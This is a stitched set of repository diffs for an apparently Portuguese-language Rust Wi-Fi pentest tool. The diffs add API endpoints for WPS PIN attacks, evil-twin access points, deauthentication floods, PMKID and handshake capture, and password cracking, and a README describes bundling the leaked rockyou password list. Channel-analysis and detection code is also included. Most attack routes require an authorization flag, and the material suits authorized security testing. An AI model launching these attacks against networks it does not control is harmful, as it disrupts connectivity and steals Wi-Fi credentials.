this;if("object"==typeof(r=n[e]))for(i=0;a=r[i];++i)a!==t&&a.__eeOnceListener__!==t||(2===r.length?n[e]=r[i?0:1]:r.splice(i,1));else r!==t&&r.__eeOnceListener__!==t||delete n[e];return this},i=function(e){var t,n,r,a,i;if(f.call(this,"__ee__")&&(a=this.__ee__[e]))if("object"==typeof a){for(n=arguments.length,i=new Array(n-1),t=1;t<n;++t)i[t-1]=arguments[t];for(a=a.slice(),t=0;r=a[t];++t)c.call(r,this,i)}else switch(arguments.length){case 1:u.call(a,this);break;case 2:u.call(a,this,arguments[1]);break;case 3:u.call(a,this,arguments[1],arguments[2]);break;default:for(n=arguments.length,i=new Array(n-1),t=1;t<n;++t)i[t-1]=arguments[t];c.call(a,this,i)}},o={on:n,once:r,off:a,emit:i},s={on:d(n),once:d(r),off:d(a),emit:d(i)},l=g({},s),e.exports=t=function(e){return null==e?m(l):g(Object(e),s)},t.methods=o}(r,r.exports);var W=r.exports,L=e(W);class B{constructor(e){this.context=e||this,this.hooks=[]}register(){for(var e=0;e<arguments.length;++e)if("function"==typeof arguments[e])this.hooks.push(arguments[e]);else for(var t=0;t<arguments[e].length;++t)this.hooks.push(arguments[e][t])}trigger(){var e=arguments,t=this.context,n=[];return this.hooks.forEach((function(r){var a=r.apply(t,e);a&&"function"==typeof a.then?n.push(a):n.push(new Promise(((e,t)=>{e(a)})))})),Promise.all(n)}triggerSync(){var e=arguments,t=this.context,n=[];return this.hooks.forEach((function(r){var a=r.apply(t,e);n.push(a)})),n}list(){return this.hooks}clear(){return this.hooks=[]}}function P(e){if(!e)return;let t;if(void 0!==e.getBoundingClientRect)t=e.getBoundingClientRect();else{let n=document.createRange();n.selectNode(e),t=n.getBoundingClientRect()}return t}function q(e){if(!e)return;let t;if(void 0!==e.getClientRects)t=e.getClientRects();else{let n=document.createRange();n.selectNode(e),t=n.getClientRects()}return t}function M(){var e=(new Date).getTime();return"undefined"!=typeof performance&&"function"==typeof performance.now&&(e+=performance.now()),"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replaceLine truncated
|
||||
@@ -0,0 +1,100 @@
|
||||
Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
||||
Upstream-Name: reaver-wps-fork-t6x
|
||||
Source: https://github.com/t6x/reaver-wps-fork-t6x
|
||||
|
||||
Files: *
|
||||
Copyright: 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
|
||||
License: GPL-2
|
||||
|
||||
Files: src/common/*
|
||||
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
|
||||
License: GPL-2
|
||||
|
||||
Files: src/crypto/*
|
||||
Copyright: 2002-2010, Jouni Malinen <j@w1.fi> and contributors
|
||||
License: GPL-2
|
||||
|
||||
Files: src/tls/*
|
||||
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
|
||||
License: GPL-2
|
||||
|
||||
Files: src/tls/libtommath.c
|
||||
Copyright: Tom St Denis
|
||||
License: public-domain
|
||||
|
||||
Files: src/utils/*
|
||||
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
|
||||
License: GPL-2
|
||||
|
||||
Files: src/utils/radiotap.h
|
||||
Copyright: 2003-2004 David Young
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: src/wps/*
|
||||
Copyright: 2007-2009, Jouni Malinen <j@w1.fi>
|
||||
License: GPL-2
|
||||
|
||||
Files: src/wps/wps_ufd.c
|
||||
Copyright: 2009, Masashi Honma <honma@ictec.co.jp>
|
||||
License: GPL-2
|
||||
|
||||
Files: src/lwe/*
|
||||
Copyright: 1997-2007, Jean Tourrilhes <jt@hpl.hp.com>
|
||||
License: GPL-2
|
||||
|
||||
Files: debian/*
|
||||
Copyright: 2011-2018 Bartosz Fenski <fenio@debian.org>
|
||||
2023 Leandro Cunha <leandrocunha016@gmail.com>
|
||||
License: GPL-2
|
||||
|
||||
License: GPL-2
|
||||
This package is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License.
|
||||
.
|
||||
This package is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this package; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
.
|
||||
On Debian systems, the complete text of the GNU General
|
||||
Public License can be found in `/usr/share/common-licenses/GPL-2'.
|
||||
|
||||
License: BSD-3-clause
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
.
|
||||
1. Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
.
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
.
|
||||
3. Neither the name of the ORGANIZATION nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
|
||||
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
License: public-domain
|
||||
The files tagged with this license contains the following paragraphs:
|
||||
.
|
||||
No copyright is claimed. This code is in the public domain; do with
|
||||
it what you wish.
|
||||
.
|
||||
Written by Karel Zak <kzak@redhat.com>
|
||||
Executable
BIN
Binary file not shown.
@@ -72,6 +72,10 @@ enum Cmd {
|
||||
bssid: Option<String>,
|
||||
#[arg(long)]
|
||||
station: Option<String>,
|
||||
/// Aplica mutações comuns a cada palavra (maiúscula, sufixos
|
||||
/// numéricos, leet simples) — multiplica o tempo de verdade.
|
||||
#[arg(long)]
|
||||
rules: bool,
|
||||
#[arg(long)]
|
||||
json: bool,
|
||||
},
|
||||
@@ -275,6 +279,7 @@ fn run(cli: Cli) -> sabia_core::Result<()> {
|
||||
wordlist,
|
||||
bssid,
|
||||
station,
|
||||
rules,
|
||||
json,
|
||||
} => {
|
||||
let mut last = 0u64;
|
||||
@@ -283,6 +288,7 @@ fn run(cli: Cli) -> sabia_core::Result<()> {
|
||||
&wordlist,
|
||||
bssid.as_deref(),
|
||||
station.as_deref(),
|
||||
rules,
|
||||
|tried| {
|
||||
if tried.saturating_sub(last) >= 4096 {
|
||||
eprint!("\r{tried} senhas testadas…");
|
||||
@@ -412,7 +418,7 @@ fn crack_first(engine: &Engine, iface: &str, wordlist: &PathBuf) -> sabia_core::
|
||||
hs.bssid,
|
||||
wordlist.display()
|
||||
);
|
||||
let id = engine.start_crack(iface, Some(&hs.bssid), Some(&hs.station), wordlist)?;
|
||||
let id = engine.start_crack(iface, Some(&hs.bssid), Some(&hs.station), wordlist, false)?;
|
||||
loop {
|
||||
let job = engine.crack_job(&id).expect("job");
|
||||
if job.status == "running" {
|
||||
|
||||
@@ -15,13 +15,29 @@ use std::time::{SystemTime, UNIX_EPOCH};
|
||||
const INDEX_HTML: &str = include_str!("../../../../apps/gui/ui/index.html");
|
||||
const APP_CSS: &str = include_str!("../../../../apps/gui/ui/app.css");
|
||||
const APP_JS: &str = include_str!("../../../../apps/gui/ui/app.js");
|
||||
const I18N_JS: &str = include_str!("../../../../apps/gui/ui/i18n.js");
|
||||
const I18N_EN_JS: &str = include_str!("../../../../apps/gui/ui/i18n-en.js");
|
||||
const LOGO_PNG: &[u8] = include_bytes!("../../../../apps/gui/ui/sabia.png");
|
||||
const PAGED_JS: &str = include_str!("../../../../apps/gui/ui/paged.polyfill.min.js");
|
||||
|
||||
pub fn serve(port: u16, audit_path: std::path::PathBuf, open: bool) -> sabia_core::Result<()> {
|
||||
let token = gen_token();
|
||||
let listener = TcpListener::bind(("127.0.0.1", port))?;
|
||||
let engine = Arc::new(Engine::with_audit_path(audit_path));
|
||||
|
||||
// Sem isso, Ctrl+C (ou um `kill` normal) durante um Evil Twin ativo
|
||||
// mata o processo sem rodar a limpeza: hostapd/dnsmasq ficam órfãos
|
||||
// e as duas interfaces ficam presas em `managed no` pro
|
||||
// NetworkManager — o painel de Wi-Fi do sistema some por completo até
|
||||
// o próximo início do engine se auto-curar.
|
||||
{
|
||||
let engine = engine.clone();
|
||||
let _ = ctrlc::set_handler(move || {
|
||||
engine.shutdown_cleanup();
|
||||
std::process::exit(0);
|
||||
});
|
||||
}
|
||||
|
||||
println!("Sabiá UI em http://127.0.0.1:{port}/?token={token}");
|
||||
if open {
|
||||
let _ = open_browser(&format!("http://127.0.0.1:{port}/?token={token}"));
|
||||
@@ -225,7 +241,48 @@ fn handle(
|
||||
);
|
||||
}
|
||||
|
||||
if req.path == "/api/report.html" {
|
||||
if req.token.as_deref() != Some(expected_token) {
|
||||
return respond(&mut stream, 401, "text/plain", b"token invalido");
|
||||
}
|
||||
let Some(iface) = req.text("iface") else {
|
||||
return respond(&mut stream, 400, "text/plain", b"iface obrigatoria");
|
||||
};
|
||||
return match engine.report(&iface) {
|
||||
Ok(model) => {
|
||||
let download = req.bool("download");
|
||||
let mut html = sabia_core::report::render(
|
||||
&model,
|
||||
sabia_core::report::ReportOptions {
|
||||
inline_pagedjs: download,
|
||||
},
|
||||
);
|
||||
if download {
|
||||
html = html.replace(
|
||||
"<!--SABIA_PAGEDJS-->",
|
||||
&format!("<script>{PAGED_JS}</script>"),
|
||||
);
|
||||
}
|
||||
respond(
|
||||
&mut stream,
|
||||
200,
|
||||
"text/html; charset=utf-8",
|
||||
html.as_bytes(),
|
||||
)
|
||||
}
|
||||
Err(e) => respond(&mut stream, 400, "text/plain", e.to_string().as_bytes()),
|
||||
};
|
||||
}
|
||||
|
||||
match req.path.as_str() {
|
||||
"/paged.polyfill.min.js" => {
|
||||
return respond(
|
||||
&mut stream,
|
||||
200,
|
||||
"application/javascript",
|
||||
PAGED_JS.as_bytes(),
|
||||
)
|
||||
}
|
||||
"/app.css" => return respond(&mut stream, 200, "text/css", APP_CSS.as_bytes()),
|
||||
"/app.js" => {
|
||||
return respond(
|
||||
@@ -235,6 +292,22 @@ fn handle(
|
||||
APP_JS.as_bytes(),
|
||||
)
|
||||
}
|
||||
"/i18n.js" => {
|
||||
return respond(
|
||||
&mut stream,
|
||||
200,
|
||||
"application/javascript",
|
||||
I18N_JS.as_bytes(),
|
||||
)
|
||||
}
|
||||
"/i18n-en.js" => {
|
||||
return respond(
|
||||
&mut stream,
|
||||
200,
|
||||
"application/javascript",
|
||||
I18N_EN_JS.as_bytes(),
|
||||
)
|
||||
}
|
||||
"/sabia.png" => return respond(&mut stream, 200, "image/png", LOGO_PNG),
|
||||
_ => {}
|
||||
}
|
||||
@@ -408,13 +481,210 @@ fn api(engine: &Arc<Engine>, req: &Request) -> (u16, String) {
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("POST", "/api/handshakes/export-hc22000") => {
|
||||
let (Some(iface), Some(bssid), Some(station), Some(out)) = (
|
||||
req.text("iface"),
|
||||
req.text("bssid"),
|
||||
req.text("station"),
|
||||
req.text("out"),
|
||||
) else {
|
||||
return err(400, "iface, bssid, station e out são obrigatórios");
|
||||
};
|
||||
match engine.export_hc22000(&iface, &bssid, &station, &out) {
|
||||
Ok(report) => ok(&report),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("POST", "/api/handshakes/export-all-hc22000") => {
|
||||
let (Some(iface), Some(out)) = (req.text("iface"), req.text("out")) else {
|
||||
return err(400, "iface e out são obrigatórios");
|
||||
};
|
||||
match engine.export_all_hc22000(&iface, &out) {
|
||||
Ok(report) => ok(&report),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("GET", "/api/report") => {
|
||||
let Some(iface) = req.text("iface") else {
|
||||
return err(400, "iface obrigatória");
|
||||
};
|
||||
match engine.report(&iface) {
|
||||
Ok(model) => ok(&model),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("GET", "/api/wps/tools") => ok(&engine.wps_tools()),
|
||||
("POST", "/api/wps") => {
|
||||
if !req.bool("confirm") {
|
||||
return err(400, "confirme a autorização do teste (confirm=true)");
|
||||
}
|
||||
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
|
||||
return err(400, "iface e bssid são obrigatórios");
|
||||
};
|
||||
let tool = req.text("tool").unwrap_or_else(|| "reaver".into());
|
||||
let channel = req.u32("channel").unwrap_or(0);
|
||||
let pin = req.text("pin");
|
||||
match engine.start_wps(&iface, &bssid, channel, &tool, pin.as_deref()) {
|
||||
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("GET", "/api/wps") => {
|
||||
let Some(id) = req.text("id") else {
|
||||
return err(400, "id obrigatório");
|
||||
};
|
||||
match engine.wps_job(&id) {
|
||||
Some(job) => ok(&job),
|
||||
None => err(404, "job não encontrado"),
|
||||
}
|
||||
}
|
||||
("GET", "/api/wps/jobs") => ok(&engine.wps_jobs()),
|
||||
("POST", "/api/wps/stop") => {
|
||||
let Some(id) = req.text("id") else {
|
||||
return err(400, "id obrigatório");
|
||||
};
|
||||
match engine.stop_wps(&id) {
|
||||
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("POST", "/api/eviltwin") => {
|
||||
if !req.bool("confirm") {
|
||||
return err(400, "confirme a autorização do teste (confirm=true)");
|
||||
}
|
||||
let (Some(iface), Some(ap_iface), Some(bssid)) =
|
||||
(req.text("iface"), req.text("ap_iface"), req.text("bssid"))
|
||||
else {
|
||||
return err(400, "iface, ap_iface e bssid são obrigatórios");
|
||||
};
|
||||
let portal_port = req.u16("portal_port").unwrap_or(8080);
|
||||
let deauth = req.bool("deauth");
|
||||
match engine.start_evil_twin(&iface, &ap_iface, &bssid, portal_port, deauth) {
|
||||
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("GET", "/api/eviltwin") => {
|
||||
let Some(id) = req.text("id") else {
|
||||
return err(400, "id obrigatório");
|
||||
};
|
||||
match engine.eviltwin_job(&id) {
|
||||
Some(job) => ok(&job),
|
||||
None => err(404, "job não encontrado"),
|
||||
}
|
||||
}
|
||||
("GET", "/api/eviltwins") => ok(&engine.eviltwin_jobs()),
|
||||
("POST", "/api/eviltwin/stop") => {
|
||||
let Some(id) = req.text("id") else {
|
||||
return err(400, "id obrigatório");
|
||||
};
|
||||
match engine.stop_evil_twin(&id) {
|
||||
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("POST", "/api/eviltwin-enterprise") => {
|
||||
if !req.bool("confirm") {
|
||||
return err(400, "confirme a autorização do teste (confirm=true)");
|
||||
}
|
||||
let (Some(iface), Some(ap_iface), Some(bssid)) =
|
||||
(req.text("iface"), req.text("ap_iface"), req.text("bssid"))
|
||||
else {
|
||||
return err(400, "iface, ap_iface e bssid são obrigatórios");
|
||||
};
|
||||
match engine.start_evil_twin_enterprise(&iface, &ap_iface, &bssid) {
|
||||
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("GET", "/api/eviltwin-enterprise") => {
|
||||
let Some(id) = req.text("id") else {
|
||||
return err(400, "id obrigatório");
|
||||
};
|
||||
match engine.enterprise_twin_job(&id) {
|
||||
Some(job) => ok(&job),
|
||||
None => err(404, "job não encontrado"),
|
||||
}
|
||||
}
|
||||
("GET", "/api/eviltwins-enterprise") => ok(&engine.enterprise_twin_jobs()),
|
||||
("POST", "/api/eviltwin-enterprise/stop") => {
|
||||
let Some(id) = req.text("id") else {
|
||||
return err(400, "id obrigatório");
|
||||
};
|
||||
match engine.stop_evil_twin_enterprise(&id) {
|
||||
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("POST", "/api/pmkid") => {
|
||||
if !req.bool("confirm") {
|
||||
return err(400, "confirme a autorização do teste (confirm=true)");
|
||||
}
|
||||
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
|
||||
return err(400, "iface e bssid são obrigatórios");
|
||||
};
|
||||
let attempts = req.u32("attempts").unwrap_or(5);
|
||||
match engine.pmkid_hunt(&iface, &bssid, attempts) {
|
||||
Ok(report) => ok(&report),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("POST", "/api/pmf") => {
|
||||
if !req.bool("confirm") {
|
||||
return err(400, "confirme a autorização do teste (confirm=true)");
|
||||
}
|
||||
let (Some(iface), Some(bssid), Some(station)) =
|
||||
(req.text("iface"), req.text("bssid"), req.text("station"))
|
||||
else {
|
||||
return err(400, "iface, bssid e station são obrigatórios");
|
||||
};
|
||||
let reason = req.u16("reason").unwrap_or(7);
|
||||
match engine.pmf_test(&iface, &bssid, &station, reason) {
|
||||
Ok(report) => ok(&report),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("POST", "/api/crack") => {
|
||||
let (Some(iface), Some(wordlist)) = (req.text("iface"), req.text("wordlist")) else {
|
||||
return err(400, "iface e wordlist são obrigatórios");
|
||||
let Some(iface) = req.text("iface") else {
|
||||
return err(400, "iface é obrigatória");
|
||||
};
|
||||
let bssid = req.text("bssid");
|
||||
let station = req.text("station");
|
||||
match engine.start_crack(&iface, bssid.as_deref(), station.as_deref(), &wordlist) {
|
||||
let rules = req.bool("rules");
|
||||
let result = match req.text("wordlist") {
|
||||
Some(wordlist) if !wordlist.trim().is_empty() => engine.start_crack(
|
||||
&iface,
|
||||
bssid.as_deref(),
|
||||
station.as_deref(),
|
||||
&wordlist,
|
||||
rules,
|
||||
),
|
||||
_ => {
|
||||
engine.start_crack_default(&iface, bssid.as_deref(), station.as_deref(), rules)
|
||||
}
|
||||
};
|
||||
match result {
|
||||
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("POST", "/api/crack/mask") => {
|
||||
let Some(iface) = req.text("iface") else {
|
||||
return err(400, "iface é obrigatória");
|
||||
};
|
||||
let Some(mask) = req.text("mask").filter(|m| !m.trim().is_empty()) else {
|
||||
return err(400, "máscara é obrigatória");
|
||||
};
|
||||
let bssid = req.text("bssid");
|
||||
let station = req.text("station");
|
||||
let max_candidates = req.u64("max_candidates").unwrap_or(50_000_000);
|
||||
match engine.start_crack_mask(
|
||||
&iface,
|
||||
bssid.as_deref(),
|
||||
station.as_deref(),
|
||||
&mask,
|
||||
max_candidates,
|
||||
) {
|
||||
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
@@ -441,17 +711,94 @@ fn api(engine: &Arc<Engine>, req: &Request) -> (u16, String) {
|
||||
};
|
||||
let count = req.u32("count").unwrap_or(5);
|
||||
let reason = req.u16("reason").unwrap_or(7);
|
||||
match engine.deauth(
|
||||
let direction = req.text("direction").unwrap_or_else(|| "ap".into());
|
||||
let frame_kind = req.text("frame").unwrap_or_else(|| "deauth".into());
|
||||
match engine.deauth_directional(
|
||||
&iface,
|
||||
&bssid,
|
||||
req.text("station").as_deref(),
|
||||
count,
|
||||
reason,
|
||||
&direction,
|
||||
&frame_kind,
|
||||
) {
|
||||
Ok(report) => ok(&report),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("POST", "/api/deauth/start") => {
|
||||
if !req.bool("confirm") {
|
||||
return err(
|
||||
400,
|
||||
"confirme a autorização do teste (confirm=true) antes de desautenticar",
|
||||
);
|
||||
}
|
||||
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
|
||||
return err(400, "iface e bssid são obrigatórios");
|
||||
};
|
||||
let reason = req.u16("reason").unwrap_or(7);
|
||||
let direction = req.text("direction").unwrap_or_else(|| "both".into());
|
||||
let frame_kind = req.text("frame").unwrap_or_else(|| "deauth".into());
|
||||
let interval_ms = req.u64("interval_ms").unwrap_or(120);
|
||||
let max_secs = req.u64("max_secs");
|
||||
let stop_on_handshake = req.bool("stop_on_handshake");
|
||||
match engine.start_deauth_job(
|
||||
&iface,
|
||||
&bssid,
|
||||
req.text("station").as_deref(),
|
||||
reason,
|
||||
&direction,
|
||||
&frame_kind,
|
||||
interval_ms,
|
||||
max_secs,
|
||||
stop_on_handshake,
|
||||
) {
|
||||
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("POST", "/api/deauth/stop") => {
|
||||
let Some(id) = req.text("id") else {
|
||||
return err(400, "id obrigatório");
|
||||
};
|
||||
match engine.stop_deauth_job(&id) {
|
||||
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("GET", "/api/deauth/job") => {
|
||||
let Some(id) = req.text("id") else {
|
||||
return err(400, "id obrigatório");
|
||||
};
|
||||
match engine.deauth_job(&id) {
|
||||
Some(job) => ok(&job),
|
||||
None => err(404, "job não encontrado"),
|
||||
}
|
||||
}
|
||||
("GET", "/api/deauth/jobs") => {
|
||||
let jobs = engine.deauth_jobs();
|
||||
match req.text("iface") {
|
||||
Some(iface) => ok(&jobs
|
||||
.into_iter()
|
||||
.filter(|j| j.iface.eq_ignore_ascii_case(&iface))
|
||||
.collect::<Vec<_>>()),
|
||||
None => ok(&jobs),
|
||||
}
|
||||
}
|
||||
("POST", "/api/handshakes/capture") => {
|
||||
if !req.bool("confirm") {
|
||||
return err(400, "confirme a autorização do teste (confirm=true)");
|
||||
}
|
||||
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
|
||||
return err(400, "iface e bssid são obrigatórios");
|
||||
};
|
||||
let seconds = req.u64("seconds");
|
||||
match engine.capture_handshake(&iface, &bssid, req.text("station").as_deref(), seconds)
|
||||
{
|
||||
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||
Err(e) => err(400, e),
|
||||
}
|
||||
}
|
||||
("POST", "/api/analyze") => {
|
||||
let pcap = if !req.body.is_empty() {
|
||||
serde_json::from_slice::<AnalyzeBody>(&req.body)
|
||||
|
||||
@@ -18,6 +18,8 @@ sha2 = "0.10"
|
||||
sha1 = "0.10"
|
||||
hmac = "0.12"
|
||||
md-5 = "0.10"
|
||||
aes = "0.8"
|
||||
flate2 = { version = "1", default-features = false, features = ["rust_backend"] }
|
||||
|
||||
[dev-dependencies]
|
||||
tempfile = "3"
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
wpa-full.txt.gz
|
||||
|
||||
Dois dicionários concatenados, com as duplicatas removidas e a ordem de
|
||||
prioridade preservada (as entradas mais prováveis ficam primeiro, então a
|
||||
quebra por dicionário tende a achar a senha mais cedo em vez de só no fim):
|
||||
|
||||
1. Probable-Wordlists (berzerk0), Real-Passwords/WPA-Length/
|
||||
Top204Thousand-WPA-probable-v2.txt — 203.806 senhas reais vazadas, já
|
||||
filtradas pro comprimento válido de WPA (8–63) e ordenadas por frequência
|
||||
observada no mundo real.
|
||||
https://github.com/berzerk0/Probable-Wordlists
|
||||
Licença: Creative Commons Attribution-ShareAlike 4.0 International
|
||||
(CC BY-SA 4.0) — https://creativecommons.org/licenses/by-sa/4.0/
|
||||
|
||||
2. rockyou.txt — o dump de senhas em texto puro do vazamento da RockYou de
|
||||
2009 (~32 milhões de contas), aqui filtrado pro mesmo comprimento válido
|
||||
de WPA. É provavelmente o dicionário de senhas mais usado em segurança
|
||||
ofensiva — vem embutido por padrão até no Kali Linux
|
||||
(/usr/share/wordlists/rockyou.txt.gz). Redistribuído aqui via SecLists:
|
||||
https://github.com/danielmiessler/SecLists (repositório MIT; o conteúdo do
|
||||
próprio rockyou.txt é dado de vazamento, sem titular de direitos autorais
|
||||
que o licencie formalmente — é tratado como de uso livre pra pesquisa de
|
||||
segurança em toda a indústria, mesmo padrão que o SecLists e as
|
||||
distribuições Linux de pentest adotam).
|
||||
|
||||
Ao redistribuir este arquivo (ou um derivado dele), mantenha a atribuição ao
|
||||
Probable-Wordlists acima — é a parte que tem uma licença formal que exige
|
||||
isso (CC BY-SA 4.0).
|
||||
|
||||
Isso é atribuição e aviso de licença, não os termos legais completos da
|
||||
CC BY-SA 4.0.
|
||||
Binary file not shown.
@@ -0,0 +1,486 @@
|
||||
//! Análise de canais, detecção de anomalias (WIDS) e leitura de WPA3.
|
||||
//!
|
||||
//! Tudo aqui é derivado da tabela já capturada — nada injeta quadros. A
|
||||
//! interface usa o resultado para desenhar o gráfico de canais e os alertas;
|
||||
//! o relatório usa o mesmo modelo para não ter duas verdades.
|
||||
|
||||
use crate::radiotap::{self, Band};
|
||||
use crate::scan::AccessPoint;
|
||||
use serde::Serialize;
|
||||
use std::collections::HashMap;
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct ChannelCandidate {
|
||||
pub channel: u32,
|
||||
pub freq_mhz: u16,
|
||||
pub band: String,
|
||||
pub score: f32,
|
||||
pub aps: usize,
|
||||
pub dfs: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct BandReport {
|
||||
pub band: String,
|
||||
pub candidates: Vec<ChannelCandidate>,
|
||||
pub recommended: Option<u32>,
|
||||
pub used_channels: Vec<u32>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct Finding {
|
||||
pub id: String,
|
||||
pub severity: String,
|
||||
pub title: String,
|
||||
pub detail: String,
|
||||
pub bssid: Option<String>,
|
||||
pub ssid: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct Wpa3Info {
|
||||
pub bssid: String,
|
||||
pub ssid: Option<String>,
|
||||
pub mode: String,
|
||||
pub pmf: bool,
|
||||
pub pmf_required: bool,
|
||||
pub transition: bool,
|
||||
pub notes: Vec<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Default)]
|
||||
pub struct Analysis {
|
||||
pub bands: Vec<BandReport>,
|
||||
pub findings: Vec<Finding>,
|
||||
pub wpa3: Vec<Wpa3Info>,
|
||||
pub deauth_60s: u32,
|
||||
}
|
||||
|
||||
const BAND_24: &str = "2.4 GHz";
|
||||
const BAND_5: &str = "5 GHz";
|
||||
const BAND_6: &str = "6 GHz";
|
||||
|
||||
fn band_label(band: Band) -> &'static str {
|
||||
match band {
|
||||
Band::B2G4 => BAND_24,
|
||||
Band::B5 => BAND_5,
|
||||
Band::B6 => BAND_6,
|
||||
Band::Unknown => BAND_24,
|
||||
}
|
||||
}
|
||||
|
||||
fn ap_freq(ap: &AccessPoint) -> Option<(u16, Band)> {
|
||||
if let Some(freq) = ap.freq_mhz {
|
||||
return Some((freq, radiotap::band_for_freq(freq)));
|
||||
}
|
||||
let band = ap.band?;
|
||||
let channel = ap.channel?;
|
||||
radiotap::channel_to_freq(channel, band).map(|freq| (freq, band))
|
||||
}
|
||||
|
||||
fn ap_width(ap: &AccessPoint) -> u16 {
|
||||
ap.width_mhz.filter(|w| *w >= 20).unwrap_or(20)
|
||||
}
|
||||
|
||||
fn candidates_for(band: Band) -> Vec<u32> {
|
||||
match band {
|
||||
Band::B2G4 => (1..=14).collect(),
|
||||
Band::B5 => {
|
||||
let mut chans: Vec<u32> = (36..=64).step_by(4).collect();
|
||||
chans.extend((100..=144).step_by(4));
|
||||
chans.extend((149..=177).step_by(4));
|
||||
chans.extend([182, 184, 188, 192, 196]);
|
||||
chans
|
||||
}
|
||||
Band::B6 => (1..=233).step_by(4).collect(),
|
||||
Band::Unknown => Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
fn is_dfs(channel: u32) -> bool {
|
||||
(52..=64).contains(&channel) || (100..=144).contains(&channel)
|
||||
}
|
||||
|
||||
fn signal_weight(dbm: Option<i8>) -> f32 {
|
||||
let dbm = dbm.unwrap_or(-75) as f32;
|
||||
(1.0 - ((-dbm - 30.0) / 70.0)).clamp(0.15, 1.0)
|
||||
}
|
||||
|
||||
fn overlap_score(candidate_freq: u16, aps: &[(u16, u16, f32)]) -> (f32, usize) {
|
||||
let half = 10.0f32;
|
||||
let mut score = 0.0f32;
|
||||
let mut count = 0usize;
|
||||
for (freq, width, weight) in aps {
|
||||
let ap_half = *width as f32 / 2.0;
|
